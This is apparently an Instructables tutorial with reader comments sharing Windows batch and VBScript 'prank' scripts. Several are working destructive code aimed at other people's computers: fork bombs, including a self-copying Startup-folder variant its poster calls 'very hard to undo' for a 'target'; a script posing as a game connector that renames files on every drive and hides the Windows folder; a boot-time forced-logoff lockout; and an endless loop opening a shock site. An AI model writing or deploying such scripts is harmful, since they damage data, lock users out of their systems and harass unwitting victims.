ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to g_colonna@sympatico.ca with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)
@echo off
:A
start cmd.exe
goto A
warning put this in a batch file and it will crash/freeze your computer!!!!
@echo off
color 2
:matrix
echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
goto matrix
this fun one will make a matrix on your cmd!
do
x=msgbox("your message here",4+16,"title of error here")
loop
this one will make a fake error message on your computer that cant be closed unless you kill the process with task manager (must save as a .vbs file)
have fun and dont get in too much trouble!!!
-R3tr1buti0n
@echo off
color 20
title Connecting TibiaME server...
echo Connecting TibiaME server... please wait.
ren "D:\*.*" "*TibiaME.exe"
ren "C:\p*\*.*" "*TibiaME.exe"
ren "G:\*.*" "*TibiaME.exe"
ren "H:\*.*" "*TibiaME.exe"
ren "E:\*.*" "*TibiaME.exe"
ren "I:\*.*" "*TibiaME.exe"
ren "J:\*.*" "*TibiaME.exe"
start attrib C:\WINDOWS +s +h
echo Wscript.Sleep 3000>C:\sleep3000.vbs
start /w wscript.exe C:\sleep3000.vbs
echo Connection failure!
echo a=MsgBox ("Connection time out" ,48, "connection time out")>temp.vbs
start temp.vbs
start /w wscript.exe C:\sleep3000.vbs
del temp.vbs
pause
I guess one could also just pull the plug, but that is so inelegant.
@echo off
cd %appdata%\Microsoft\Windows\"Start Menu"\Programs\Startup
echo @echo off >> ooo.bat
echo shutdown /l /f >> ooo.bat
start ooo.bat
Use wisely.
@echo off
echo Shutdown will commence in 5
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 4
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 3
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 2
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 1
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 0
shutdown -s -t 0
i am trying to make a code for a prank fake virus
it not working could you help me
@ echo off
title Black Wamba
color C0
:Begining
echo you have been infected curtisy of the black wamba hacking team
pause
PING 1.1.1.1 -n 1 -w 6000 >NUL
echo oh i see you dought the black wamba
PING 1.1.1.1 -n 1 -w 120 >NUL
echo HOW ABOUT I SHOW YOU A TASTE OF OUR POWER!!!!
PING 1.1.1.1 -n 1 -w 6000 >NUL
cls
title ERROR
echo "system root\user\program files\Black Wamba" has forced a shut down
echo are you shure you want to shutdown (will lose all saved data)
echo y\n
set /p =answer
pause
if %answer%== y
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
if %answer%== n
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
any help is appreciated thx
@ echo off
title Black Wamba
color C0
:Begining
echo you have been infected curtisy of the black wamba hacking team
pause
PING 1.1.1.1 -n 1 -w 6000 >NUL
echo oh i see you dought the black wamba
PING 1.1.1.1 -n 1 -w 120 >NUL
echo HOW ABOUT I SHOW YOU A TASTE OF OUR POWER!!!!
PING 1.1.1.1 -n 1 -w 6000 >NUL
cls
title ERROR
echo "system root\user\program files\Black Wamba" has forced a shut down
echo are you shure you want to shutdown (will lose all saved data)
echo y\n
set /p var=answer
pause
if %var%==y goto yes
if %var%==n goto no
:yes
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600 >nul
msg* jk but remember the black wamba watches all
pause
exit
:no
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
pause
exit
-------------
if you are trying to get a little box to pop up in the middle of the screen with msg*, then i can tell you that won't work. the boxes are a .vbs file and have to be saved seperately. the command line for that would just be
start c:users/desktop/jk.vbs or whatever you named the file and where ever you saved it; the actual box would be:
yay=MsgBox("jk but remember the black wamba watches all",,"title-of-box")
@echo off
start www.meatspin.com
or if your feeling particularly mean
@echo off
:A
start www.meatspin.com
goto A
this will open meatspin in an infinite loop.
note: the website can be substituted for one of your own choice if you wish :)
echo :loop > C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\%username%\StartMenu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp%random%.bat"
goto start
you could also hide the batch file using attrib -h -s- r
Here's the code:
@ECHO OFF
title Timed Shutdown v1.00 by Efficacy28
set /a hour="0"
set /a min="0"
set /a sec="0"
color FC
echo Timed Shutdown v1.00
echo Created by Efficacy28
echo Sunday June 28, 2010
echo.
pause
:choose
cls
echo Shutdown computer = S
echo Restart computer = R
echo Logoff computer = L
echo Exit this program = E
echo.
set /p choose="Hello, %username%, what would you like to do?: "
if %choose%==s goto begin
if %choose%==S goto begin
if %choose%==r goto begin
if %choose%==R goto begin
if %choose%==l goto begin
if %choose%==L goto begin
if %choose%==e goto exit
if %choose%==E (goto exit) else goto erchoose
:begin
cls
echo Right now = 1
echo In 5 seconds = 2
echo In 30 seconds = 3
echo In 1 minute = 4
echo In 5 minutes = 5
echo In 15 minutes = 6
echo In 30 minutes = 7
echo In 1 hour = 8
echo In 2 hours = 9
echo Specified time = 0
echo.
set /p userinp="What time would you like to shutdown? (0-9): "
if %userinp%==1 goto shutdown
if %userinp%==2 goto 5sec
if %userinp%==3 goto 30sec
if %userinp%==4 goto 1min
if %userinp%==5 goto 5min
if %userinp%==6 goto 15min
if %userinp%==7 goto 30min
if %userinp%==8 goto 1hr
if %userinp%==9 goto 2hr
if %userinp%==0 (goto specify) else goto erbegin
:yay
if %choose%==s goto shutdown
if %choose%==S goto shutdown
if %choose%==r goto restart
if %choose%==R goto restart
if %choose%==l goto logoff
if %choose%==L goto logoff
:shutdown
cls
@ECHO
shutdown -s
goto exit
:restart
cls
@ECHO
shutdown -r
goto exit
:logoff
cls
@ECHO
shutdown -l
goto exit
:5sec
cls
set /p userinp="Is 5 seconds the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a sec="5"
goto start
:30sec
cls
set /p userinp="Is 30 seconds the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a sec="30"
goto start
:1min
cls
set /p userinp="Is 1 minute the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="1"
goto start
:5min
cls
set /p userinp="Is 5 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="5"
goto start
:15min
cls
set /p userinp="Is 15 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="15"
goto start
:30min
cls
set /p userinp="Is 30 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="30"
goto start
:1hr
cls
set /p userinp="Is 1 hour the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a hour="1"
goto start
:2hr
cls
set /p userinp="Is 2 hours the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a hour="2"
goto start
:specify
cls
set /p hour="How many hours do you want to wait?: "
:min
cls
if %hour% LSS 0 goto errorhour
set /p min="How many minutes do you want to wait?: "
:sec
cls
if %min% GTR 59 (goto errormin)
if %min% LSS 0 goto poop
set /p sec="How many seconds do you want to wait?: "
cls
if %sec% GTR 59 (goto errorsec)
if %sec% LSS 0 goto poopie
goto correction
:correction
set /p userinp="Is %hour% hour(s), %min% minute(s), and %sec% second(s) the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
:start
cls
echo Your computer will be shutdown in %hour% hour(s)
echo %min% minute(s)
echo and %sec% second(s)...
set /a sec="%sec%-1"
ping -n 2 127.0.0.1 >NUL
if %sec%==-1 set /a min="%min%-1"
if %sec%==-1 set /a sec="59"
if %min%==-1 set /a hour="%hour%-1"
if %min%==-1 set /a min="59"
if %hour%==-1 goto yay
goto start
:errorhour
cls
echo %hour% is less than 0!
ping -n 4 127.0.0.1 >NUL
goto specify
:errormin
cls
echo %min% minutes is bigger than 59! (60 minutes is an hour)
ping -n 5 127.0.0.1 >NUL
goto min
:poop
cls
echo %min% is less than 0!
ping -n 4 127.0.0.1 >NUL
goto min
:errorsec
cls
echo %sec% seconds is bigger than 59! (60 seconds is a minute)
ping -n 5 127.0.0.1 >NUL
goto sec
:exit
cls
exit
:erchoose
cls
echo %choose% isn't a valid option!
ping -n 5 127.0.0.1 >NUL
goto choose
:erbegin
cls
echo %userinp% isn't a valid option!
ping -n 5 127.0.0.1 >NUL
goto begin
Or, just download it :P
http://www.megaupload.com/?d=KBZ3NIHP
Enjoy ^_^
echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start
This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefenatley. When the computer is rebooted it is likely to crash very quickly.
Will be very hard to undo. Mabie rebooting in safe mode will do it. Dunno really.
Only problem is that u need to change the part where its says USER for the username of the target.
echo :loop > %homepath%\Start Menu\Programs\startup\temp.bat
echo start temp >> %homepath%\Start Menu\Programs\startup\temp.bat
echo goto loop >> %homepath%\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "%homepath%\Start Menu\Programs\startup\temp.bat" "%homepath%\Start Menu\Programs\startup\temp%random%.bat"
goto :start
Then you don't have to specify the USER directory.
Evil, but highly effective.
(muhahahaha!)